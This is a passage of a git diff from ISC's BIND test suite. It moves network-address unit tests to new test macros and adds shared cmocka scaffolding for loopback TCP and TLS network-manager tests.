+ISC_RUN_TEST_IMPL(netaddr_masktoprefixlen) {
 	struct in_addr na_a;
 	struct in_addr na_b;
 	struct in_addr na_c;
@@ -95,8 +97,7 @@ netaddr_masktoprefixlen(void **state) {
 }
 
 /* check multicast addresses are detected properly */
-static void
-netaddr_multicast(void **state) {
+ISC_RUN_TEST_IMPL(netaddr_multicast) {
 	unsigned int i;
 	struct {
 		int family;
@@ -133,25 +134,12 @@ netaddr_multicast(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(netaddr_isnetzero),
-		cmocka_unit_test(netaddr_masktoprefixlen),
-		cmocka_unit_test(netaddr_multicast),
-	};
+ISC_TEST_LIST_START
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
+ISC_TEST_ENTRY(netaddr_isnetzero)
+ISC_TEST_ENTRY(netaddr_masktoprefixlen)
+ISC_TEST_ENTRY(netaddr_multicast)
 
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/isc/netmgr_common.c b/tests/isc/netmgr_common.c
new file mode 100644
index 0000000000..300fb5e27f
--- /dev/null
+++ b/tests/isc/netmgr_common.c
@@ -0,0 +1,933 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/async.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/quota.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+#define KEEP_BEFORE
+
+#include "netmgr_common.h"
+
+#include <tests/isc.h>
+
+isc_nm_t *listen_nm = NULL;
+isc_nm_t *connect_nm = NULL;
+
+isc_sockaddr_t tcp_listen_addr;
+isc_sockaddr_t tcp_connect_addr;
+isc_tlsctx_t *tcp_listen_tlsctx = NULL;
+isc_tlsctx_t *tcp_connect_tlsctx = NULL;
+isc_tlsctx_client_session_cache_t *tcp_tlsctx_client_sess_cache = NULL;
+
+uint64_t send_magic = 0;
+
+isc_region_t send_msg = { .base = (unsigned char *)&send_magic,
+			  .length = sizeof(send_magic) };
+
+atomic_bool do_send = false;
+
+atomic_int_fast64_t nsends = 0;
+int_fast64_t esends = 0; /* expected sends */
+
+atomic_int_fast64_t ssends = 0;
+atomic_int_fast64_t sreads = 0;
+atomic_int_fast64_t saccepts = 0;
+
+atomic_int_fast64_t cconnects = 0;
+atomic_int_fast64_t csends = 0;
+atomic_int_fast64_t creads = 0;
+atomic_int_fast64_t ctimeouts = 0;
+
+int expected_ssends;
+int expected_sreads;
+int expected_csends;
+int expected_cconnects;
+int expected_creads;
+int expected_saccepts;
+int expected_ctimeouts;
+
+bool ssends_shutdown;
+bool sreads_shutdown;
+bool saccepts_shutdown;
+bool csends_shutdown;
+bool cconnects_shutdown;
+bool creads_shutdown;
+bool ctimeouts_shutdown;
+
+isc_refcount_t active_cconnects = 0;
+isc_refcount_t active_csends = 0;
+isc_refcount_t active_creads = 0;
+isc_refcount_t active_ssends = 0;
+isc_refcount_t active_sreads = 0;
+
+isc_nmsocket_t *listen_sock = NULL;
+
+isc_quota_t listener_quota;
+atomic_bool check_listener_quota = false;
+
+bool allow_send_back = false;
+bool noanswer = false;
+bool stream_use_TLS = false;
+bool stream = false;
+in_port_t stream_port = 0;
+
+isc_nm_recv_cb_t connect_readcb = NULL;
+
+int
+setup_netmgr_test(void **state) {
+	tcp_connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&tcp_connect_addr, &in6addr_loopback, 0);
+
+	tcp_listen_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&tcp_listen_addr, &in6addr_loopback, stream_port);
+
+	esends = NSENDS * workers;
+
+	atomic_store(&nsends, esends);
+
+	atomic_store(&saccepts, 0);
+	atomic_store(&sreads, 0);
+	atomic_store(&ssends, 0);
+
+	atomic_store(&cconnects, 0);
+	atomic_store(&csends, 0);
+	atomic_store(&creads, 0);
+	atomic_store(&ctimeouts, 0);
+	allow_send_back = false;
+
+	expected_cconnects = -1;
+	expected_csends = -1;
+	expected_creads = -1;
+	expected_sreads = -1;
+	expected_ssends = -1;
+	expected_saccepts = -1;
+	expected_ctimeouts = -1;
+
+	ssends_shutdown = true;
+	sreads_shutdown = true;
+	saccepts_shutdown = true;
+	csends_shutdown = true;
+	cconnects_shutdown = true;
+	creads_shutdown = true;
+	ctimeouts_shutdown = true;
+
+	do_send = false;
+
+	isc_refcount_init(&active_cconnects, 0);
+	isc_refcount_init(&active_csends, 0);
+	isc_refcount_init(&active_creads, 0);
+	isc_refcount_init(&active_ssends, 0);
+	isc_refcount_init(&active_sreads, 0);
+
+	isc_nonce_buf(&send_magic, sizeof(send_magic));
+
+	setup_loopmgr(state);
+	isc_netmgr_create(mctx, loopmgr, &listen_nm);
+	assert_non_null(listen_nm);
+	isc_nm_settimeouts(listen_nm, T_INIT, T_IDLE, T_KEEPALIVE,
+			   T_ADVERTISED);
+
+	isc_netmgr_create(mctx, loopmgr, &connect_nm);
+	assert_non_null(connect_nm);
+	isc_nm_settimeouts(connect_nm, T_INIT, T_IDLE, T_KEEPALIVE,
+			   T_ADVERTISED);
+
+	isc_quota_init(&listener_quota, 0);
+	atomic_store(&check_listener_quota, false);
+
+	connect_readcb = connect_read_cb;
+	noanswer = false;
+
+	if (isc_tlsctx_createserver(NULL, NULL, &tcp_listen_tlsctx) !=
+	    ISC_R_SUCCESS)
+	{
+		return (-1);
+	}
+	if (isc_tlsctx_createclient(&tcp_connect_tlsctx) != ISC_R_SUCCESS) {
+		return (-1);
+	}
+
+	isc_tlsctx_enable_dot_client_alpn(tcp_connect_tlsctx);
+
+	isc_tlsctx_client_session_cache_create(
+		mctx, tcp_connect_tlsctx,
+		ISC_TLSCTX_CLIENT_SESSION_CACHE_DEFAULT_SIZE,
+		&tcp_tlsctx_client_sess_cache);
+
+	return (0);
+}
+
+int
+teardown_netmgr_test(void **state ISC_ATTR_UNUSED) {
+	UNUSED(state);
+
+	isc_tlsctx_client_session_cache_detach(&tcp_tlsctx_client_sess_cache);
+
+	isc_tlsctx_free(&tcp_connect_tlsctx);
+	isc_tlsctx_free(&tcp_listen_tlsctx);
+
+	isc_netmgr_destroy(&connect_nm);
+	assert_null(connect_nm);
+
+	isc_netmgr_destroy(&listen_nm);
+	assert_null(listen_nm);
+
+	teardown_loopmgr(state);
+
+	isc_refcount_destroy(&active_cconnects);
+	isc_refcount_destroy(&active_csends);
+	isc_refcount_destroy(&active_creads);
+	isc_refcount_destroy(&active_ssends);
+	isc_refcount_destroy(&active_sreads);
+
+	return (0);
+}
+
+void
+stop_listening(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_stoplistening(listen_sock);
+	isc_nmsocket_close(&listen_sock);
+	assert_null(listen_sock);
+}
+
+/* Callbacks */
+
+void
+noop_recv_cb(isc_nmhandle_t *handle ISC_ATTR_UNUSED,
+	     isc_result_t eresult ISC_ATTR_UNUSED,
+	     isc_region_t *region ISC_ATTR_UNUSED,
+	     void *cbarg ISC_ATTR_UNUSED) {
+	F();
+}
+
+isc_result_t
+noop_accept_cb(isc_nmhandle_t *handle ISC_ATTR_UNUSED, unsigned int eresult,
+	       void *cbarg ISC_ATTR_UNUSED) {
+	F();
+
+	if (eresult == ISC_R_SUCCESS) {
+		(void)atomic_fetch_add(&saccepts, 1);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
+void
+connect_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg);
+
+void
+connect_send(isc_nmhandle_t *handle);
+
+void
+connect_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	isc_nmhandle_t *sendhandle = handle;
+
+	assert_non_null(sendhandle);
+
+	UNUSED(cbarg);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_EOF:
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+	case ISC_R_CONNECTIONRESET:
+		/* Abort */
+		if (!stream) {
+			isc_nm_cancelread(handle);
+		}
+		break;
+	case ISC_R_SUCCESS:
+		if (have_expected_csends(atomic_fetch_add(&csends, 1) + 1)) {
+			do_csends_shutdown(loopmgr);
+		}
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_refcount_decrement(&active_csends);
+	isc_nmhandle_detach(&sendhandle);
+}
+
+void
+connect_send(isc_nmhandle_t *handle) {
+	isc_nmhandle_t *sendhandle = NULL;
+	isc_refcount_increment0(&active_csends);
+	isc_nmhandle_attach(handle, &sendhandle);
+	isc_nmhandle_setwritetimeout(handle, T_IDLE);
+	isc_nm_send(sendhandle, &send_msg, connect_send_cb, NULL);
+}
+
+void
+connect_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+		assert_true(region->length >= sizeof(magic));
+
+		memmove(&magic, region->base, sizeof(magic));
+
+		assert_true(magic == send_magic);
+
+		if (have_expected_creads(atomic_fetch_add(&creads, 1) + 1)) {
+			do_creads_shutdown(loopmgr);
+		}
+
+		if (magic == send_magic && allow_send_back) {
+			connect_send(handle);
+			return;
+		}
+
+		/* This will initiate one more read callback */
+		if (stream) {
+			isc_nmhandle_close(handle);
+		}
+		break;
+	case ISC_R_TIMEDOUT:
+	case ISC_R_EOF:
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+	case ISC_R_CONNECTIONRESET:
+	case ISC_R_CONNREFUSED:
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_refcount_decrement(&active_creads);
+	isc_nmhandle_detach(&handle);
+}
+
+void
+connect_connect_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+
+	F();
+
+	isc_refcount_decrement(&active_cconnects);
+
+	if (eresult != ISC_R_SUCCESS || connect_readcb == NULL) {
+		return;
+	}
+
+	/* We are finished, initiate the shutdown */
+	if (have_expected_cconnects(atomic_fetch_add(&cconnects, 1) + 1)) {
+		do_cconnects_shutdown(loopmgr);
+	} else if (do_send) {
+		isc_async_current(loopmgr, stream_recv_send_connect,
+				  (cbarg == NULL
+					   ? get_stream_connect_function()
+					   : (stream_connect_function)cbarg));
+	}
+
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, connect_readcb, NULL);
+
+	connect_send(handle);
+}
+
+void
+listen_send_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	isc_nmhandle_t *sendhandle = handle;
+
+	UNUSED(cbarg);
+	UNUSED(eresult);
+
+	assert_non_null(sendhandle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_CANCELED:
+	case ISC_R_CONNECTIONRESET:
+	case ISC_R_EOF:
+	case ISC_R_SHUTTINGDOWN:
+		break;
+	case ISC_R_SUCCESS:
+		if (have_expected_ssends(atomic_fetch_add(&ssends, 1) + 1)) {
+			do_ssends_shutdown(loopmgr);
+		}
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_refcount_decrement(&active_ssends);
+	isc_nmhandle_detach(&sendhandle);
+}
+
+void
+listen_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+	       isc_region_t *region, void *cbarg) {
+	uint64_t magic = 0;
+
+	assert_non_null(handle);
+
+	F();
+
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+		memmove(&magic, region->base, sizeof(magic));
+		assert_true(magic == send_magic);
+
+		if (have_expected_sreads(atomic_fetch_add(&sreads, 1) + 1)) {
+			do_sreads_shutdown(loopmgr);
+		}
+
+		assert_true(region->length >= sizeof(magic));
+
+		memmove(&magic, region->base, sizeof(magic));
+		assert_true(magic == send_magic);
+
+		if (!noanswer) {
+			/* Answer and continue to listen */
+			isc_nmhandle_t *sendhandle = NULL;
+			isc_nmhandle_attach(handle, &sendhandle);
+			isc_refcount_increment0(&active_ssends);
+			isc_nmhandle_setwritetimeout(sendhandle, T_IDLE);
+			isc_nm_send(sendhandle, &send_msg, listen_send_cb,
+				    cbarg);
+		}
+		/* Continue to listen */
+		return;
+	case ISC_R_CANCELED:
+	case ISC_R_CONNECTIONRESET:
+	case ISC_R_EOF:
+	case ISC_R_SHUTTINGDOWN:
+		break;
+	default:
+		fprintf(stderr, "%s(%p, %s, %p)\n", __func__, handle,
+			isc_result_totext(eresult), cbarg);
+		assert_int_equal(eresult, ISC_R_SUCCESS);
+	}
+
+	isc_refcount_decrement(&active_sreads);
+	isc_nmhandle_detach(&handle);
+}
+
+isc_result_t
+listen_accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(cbarg);
+
+	F();
+
+	if (eresult != ISC_R_SUCCESS) {
+		return (eresult);
+	}
+
+	if (have_expected_saccepts(atomic_fetch_add(&saccepts, 1) + 1)) {
+		do_saccepts_shutdown(loopmgr);
+	}
+
+	isc_nmhandle_attach(handle, &(isc_nmhandle_t *){ NULL });
+	isc_refcount_increment0(&active_sreads);
+
+	return (eresult);
+}
+
+isc_result_t
+stream_accept_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+
+	UNUSED(cbarg);
+
+	F();
+
+	if (eresult != ISC_R_SUCCESS) {
+		return (eresult);
+	}
+
+	if (have_expected_saccepts(atomic_fetch_add(&saccepts, 1) + 1)) {
+		do_saccepts_shutdown(loopmgr);
+	}
+
+	isc_refcount_increment0(&active_sreads);
+
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, listen_read_cb, readhandle);
+
+	return (ISC_R_SUCCESS);
+}
+
+void
+stream_recv_send_connect(void *arg) {
+	connect_func connect = (connect_func)arg;
+	isc_sockaddr_t connect_addr;
+
+	connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&connect_addr, &in6addr_loopback, 0);
+
+	isc_refcount_increment0(&active_cconnects);
+	connect(connect_nm);
+}
+
+/* Common stream protocols code */
+
+void
+timeout_retry_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		 isc_region_t *region, void *cbarg) {
+	UNUSED(region);
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	F();
+
+	if (eresult == ISC_R_TIMEDOUT &&
+	    atomic_fetch_add(&ctimeouts, 1) + 1 < expected_ctimeouts)
+	{
+		isc_nmhandle_settimeout(handle, T_SOFT);
+		connect_send(handle);
+		return;
+	}
+
+	isc_refcount_decrement(&active_creads);
+	isc_nmhandle_detach(&handle);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+isc_quota_t *
+tcp_listener_init_quota(size_t nthreads) {
+	isc_quota_t *quotap = NULL;
+	if (atomic_load(&check_listener_quota)) {
+		unsigned int max_quota = ISC_MAX(nthreads / 2, 1);
+		isc_quota_max(&listener_quota, max_quota);
+		quotap = &listener_quota;
+	}
+	return (quotap);
+}
+
+static void
+tcp_connect(isc_nm_t *nm) {
+	isc_nm_tcpconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
+			  connect_connect_cb, NULL, T_CONNECT);
+}
+
+static void
+tls_connect(isc_nm_t *nm) {
+	isc_nm_tlsconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
+			  connect_connect_cb, NULL, tcp_connect_tlsctx,
+			  tcp_tlsctx_client_sess_cache, T_CONNECT);
+}
+
+stream_connect_function
+get_stream_connect_function(void) {
+	if (stream_use_TLS) {
+		return (tls_connect);
+	}
+	return (tcp_connect);
+}
+
+isc_result_t
+stream_listen(isc_nm_accept_cb_t accept_cb, void *accept_cbarg, int backlog,
+	      isc_quota_t *quota, isc_nmsocket_t **sockp) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	if (stream_use_TLS) {
+		result = isc_nm_listentls(listen_nm, ISC_NM_LISTEN_ALL,
+					  &tcp_listen_addr, accept_cb,
+					  accept_cbarg, backlog, quota,
+					  tcp_listen_tlsctx, sockp);
+		return (result);
+	}
+	result = isc_nm_listentcp(listen_nm, ISC_NM_LISTEN_ALL,
+				  &tcp_listen_addr, accept_cb, accept_cbarg,
+				  backlog, quota, sockp);
+
+	return (result);
+}
+
+void
+stream_connect(isc_nm_cb_t cb, void *cbarg, unsigned int timeout) {
+	isc_refcount_increment0(&active_cconnects);
+
+	if (stream_use_TLS) {
+		isc_nm_tlsconnect(connect_nm, &tcp_connect_addr,
+				  &tcp_listen_addr, cb, cbarg,
+				  tcp_connect_tlsctx,
+				  tcp_tlsctx_client_sess_cache, timeout);
+		return;
+	}
+	isc_nm_tcpconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr, cb,
+			  cbarg, timeout);
+}
+
+void
+connect_success_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(cbarg);
+
+	F();
+
+	isc_refcount_decrement(&active_cconnects);
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	if (have_expected_cconnects(atomic_fetch_add(&cconnects, 1) + 1)) {
+		do_cconnects_shutdown(loopmgr);
+		return;
+	}
+}
+
+int
+stream_noop_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+	expected_cconnects = 1;
+	return (r);
+}
+
+void
+stream_noop(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	result = stream_listen(noop_accept_cb, NULL, 128, NULL, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	connect_readcb = NULL;
+	stream_connect(connect_success_cb, NULL, T_CONNECT);
+}
+
+int
+stream_noop_teardown(void **state ISC_ATTR_UNUSED) {
+	atomic_assert_int_eq(cconnects, 1);
+	atomic_assert_int_eq(csends, 0);
+	atomic_assert_int_eq(creads, 0);
+	atomic_assert_int_eq(sreads, 0);
+	atomic_assert_int_eq(ssends, 0);
+	return (teardown_netmgr_test(state));
+}
+
+static void
+noresponse_readcb(isc_nmhandle_t *handle, isc_result_t eresult,
+		  isc_region_t *region, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(region);
+	UNUSED(cbarg);
+
+	F();
+
+	assert_true(eresult == ISC_R_CANCELED ||
+		    eresult == ISC_R_CONNECTIONRESET || eresult == ISC_R_EOF);
+
+	isc_refcount_decrement(&active_creads);
+	isc_nmhandle_detach(&handle);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+noresponse_sendcb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(cbarg);
+	UNUSED(eresult);
+
+	F();
+
+	assert_non_null(handle);
+	atomic_fetch_add(&csends, 1);
+	isc_nmhandle_detach(&handle);
+	isc_refcount_decrement(&active_csends);
+}
+
+static void
+noresponse_connectcb(isc_nmhandle_t *handle, isc_result_t eresult,
+		     void *cbarg) {
+	isc_nmhandle_t *readhandle = NULL;
+	isc_nmhandle_t *sendhandle = NULL;
+
+	F();
+
+	isc_refcount_decrement(&active_cconnects);
+
+	assert_int_equal(eresult, ISC_R_SUCCESS);
+
+	atomic_fetch_add(&cconnects, 1);
+
+	isc_refcount_increment0(&active_creads);
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, noresponse_readcb, NULL);
+
+	isc_refcount_increment0(&active_csends);
+	isc_nmhandle_attach(handle, &sendhandle);
+	isc_nmhandle_setwritetimeout(handle, T_IDLE);
+
+	isc_nm_send(handle, (isc_region_t *)&send_msg, noresponse_sendcb,
+		    cbarg);
+}
+
+int
+stream_noresponse_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+	expected_cconnects = 1;
+	expected_saccepts = 1;
+	return (r);
+}
+
+void
+stream_noresponse(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	result = stream_listen(noop_accept_cb, NULL, 128, NULL, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	stream_connect(noresponse_connectcb, NULL, T_CONNECT);
+}
+
+int
+stream_noresponse_teardown(void **state ISC_ATTR_UNUSED) {
+	X(cconnects);
+	X(csends);
+	X(creads);
+	X(sreads);
+	X(ssends);
+
+	atomic_assert_int_eq(cconnects, 1);
+	atomic_assert_int_eq(creads, 0);
+	atomic_assert_int_eq(sreads, 0);
+	atomic_assert_int_eq(ssends, 0);
+
+	return (teardown_netmgr_test(state));
+}
+
+int
+stream_timeout_recovery_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+
+	expected_ctimeouts = 4;
+	ctimeouts_shutdown = false;
+
+	expected_sreads = 5;
+	sreads_shutdown = true;
+
+	return (r);
+}
+
+void
+stream_timeout_recovery(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = ISC_R_SUCCESS;
+
+	/*
+	 * Accept connections but don't send responses, forcing client
+	 * reads to time out.
+	 */
+	noanswer = true;
+	result = stream_listen(stream_accept_cb, NULL, 128, NULL, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	/*
+	 * Shorten all the client timeouts to 0.05 seconds.
+	 */
+	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
+	connect_readcb = timeout_retry_cb;
+	stream_connect(connect_connect_cb, NULL, T_SOFT);
+}
+
+int
+stream_timeout_recovery_teardown(void **state ISC_ATTR_UNUSED) {
+	atomic_assert_int_eq(ctimeouts, expected_ctimeouts);
+	return (teardown_netmgr_test(state));
+}
+
+int
+stream_recv_one_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+
+	expected_cconnects = 1;
+	cconnects_shutdown = false;
+
+	expected_csends = 1;
+	csends_shutdown = false;
+
+	expected_saccepts = 1;
+	saccepts_shutdown = false;
+
+	expected_sreads = 1;
+	sreads_shutdown = false;
+
+	expected_ssends = 1;
+	ssends_shutdown = false;
+
+	expected_creads = 1;
+	creads_shutdown = true;
+
+	return (r);
+}
+
+void
+stream_recv_one(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_quota_t *quotap = tcp_listener_init_quota(1);
+
+	atomic_store(&nsends, 1);
+
+	result = stream_listen(stream_accept_cb, NULL, 128, quotap,
+			       &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	stream_connect(connect_connect_cb, NULL, T_CONNECT);
+}
+
+int
+stream_recv_one_teardown(void **state ISC_ATTR_UNUSED) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(csends, expected_csends);
+	atomic_assert_int_eq(saccepts, expected_saccepts);
+	atomic_assert_int_eq(sreads, expected_sreads);
+	atomic_assert_int_eq(ssends, expected_ssends);
+	atomic_assert_int_eq(creads, expected_creads);
+
+	return (teardown_netmgr_test(state));
+}
+
+int
+stream_recv_two_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+
+	expected_cconnects = 2;
+	cconnects_shutdown = false;
+
+	expected_csends = 2;
+	csends_shutdown = false;
+
+	expected_saccepts = 2;
+	saccepts_shutdown = false;
+
+	expected_sreads = 2;
+	sreads_shutdown = false;
+
+	expected_ssends = 2;
+	ssends_shutdown = false;
+
+	expected_creads = 2;
+	creads_shutdown = true;
+
+	return (r);
+}
+
+void
+stream_recv_two(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_quota_t *quotap = tcp_listener_init_quota(1);
+
+	atomic_store(&nsends, 2);
+
+	result = stream_listen(stream_accept_cb, NULL, 128, quotap,
+			       &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	stream_connect(connect_connect_cb, NULL, T_CONNECT);
+
+	stream_connect(connect_connect_cb, NULL, T_CONNECT);
+}
+
+int
+stream_recv_two_teardown(void **state ISC_ATTR_UNUSED) {
+	atomic_assert_int_eq(cconnects, expected_cconnects);
+	atomic_assert_int_eq(csends, expected_csends);
+	atomic_assert_int_eq(sreads, expected_saccepts);
+	atomic_assert_int_eq(sreads, expected_sreads);
+	atomic_assert_int_eq(ssends, expected_ssends);
+	atomic_assert_int_eq(creads, expected_creads);
+
+	return (teardown_netmgr_test(state));
+}
+
+int
+stream_recv_send_setup(void **state ISC_ATTR_UNUSED) {
+	int r = setup_netmgr_test(state);
+	expected_cconnects = workers;
+	cconnects_shutdown = false;
+	nsends = expected_creads = workers;
+	do_send = true;
+
+	return (r);
+}
+
+void
+stream_recv_send(void **state ISC_ATTR_UNUSED) {
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_quota_t *quotap = tcp_listener_init_quota(workers);
+
+	result = stream_listen(stream_accept_cb, NULL, 128, quotap,
+			       &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+
+	for (size_t i = 0; i < workers; i++) {
+		isc_async_run(isc_loop_get(loopmgr, i),
+			      stream_recv_send_connect,
+			      get_stream_connect_function());
+	}
+}
+
+int
+stream_recv_send_teardown(void **state ISC_ATTR_UNUSED) {
+	X(cconnects);
+	X(csends);
+	X(creads);
+	X(sreads);
+	X(ssends);
+
+	CHECK_RANGE_FULL(csends);
+	CHECK_RANGE_FULL(creads);
+	CHECK_RANGE_FULL(sreads);
+	CHECK_RANGE_FULL(ssends);
+
+	return (teardown_netmgr_test(state));
+}
diff --git a/tests/isc/netmgr_common.h b/tests/isc/netmgr_common.h
new file mode 100644
index 0000000000..0e86282b72
--- /dev/null
+++ b/tests/isc/netmgr_common.h
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <isc/atomic.h>
+#include <isc/netmgr.h>
+#include <isc/refcount.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+
+#include "netmgr/netmgr-int.h"
+
+/*
+ * Pick unused port outside the ephemeral port range, so we don't clash with
+ * connected sockets.
+ */
+#define UDP_TEST_PORT	 9153
+#define TCP_TEST_PORT	 9154
+#define TLS_TEST_PORT	 9155
+#define TCPDNS_TEST_PORT 9156
+#define TLSDNS_TEST_PORT 9157
+
+typedef void (*stream_connect_function)(isc_nm_t *nm);
+typedef void (*connect_func)(isc_nm_t *);
+
+extern isc_nm_t *listen_nm;
+extern isc_nm_t *connect_nm;
+
+extern isc_sockaddr_t tcp_listen_addr;
+extern isc_sockaddr_t tcp_connect_addr;
+extern isc_tlsctx_t *tcp_listen_tlsctx;
+extern isc_tlsctx_t *tcp_connect_tlsctx;
+extern isc_tlsctx_client_session_cache_t *tcp_tlsctx_client_sess_cache;
+
+extern uint64_t send_magic;
+extern uint64_t stop_magic;
+
+extern isc_region_t send_msg;
+extern isc_region_t stop_msg;
+
+extern atomic_bool do_send;
+
+extern atomic_int_fast64_t nsends;
+extern int_fast64_t esends; /* expected sends */
+
+extern atomic_int_fast64_t ssends;
+extern atomic_int_fast64_t sreads;
+extern atomic_int_fast64_t saccepts;
+
+extern atomic_int_fast64_t cconnects;
+extern atomic_int_fast64_t csends;
+extern atomic_int_fast64_t creads;
+extern atomic_int_fast64_t ctimeouts;
+
+extern int expected_ssends;
+extern int expected_sreads;
+extern int expected_csends;
+extern int expected_cconnects;
+extern int expected_creads;
+extern int expected_ctimeouts;
+
+extern bool ssends_shutdown;
+extern bool sreads_shutdown;
+extern bool csends_shutdown;
+extern bool cconnects_shutdown;
+extern bool creads_shutdown;
+extern bool ctimeouts_shutdown;
+
+#define have_expected_ssends(v) ((v) >= expected_ssends && expected_ssends >= 0)
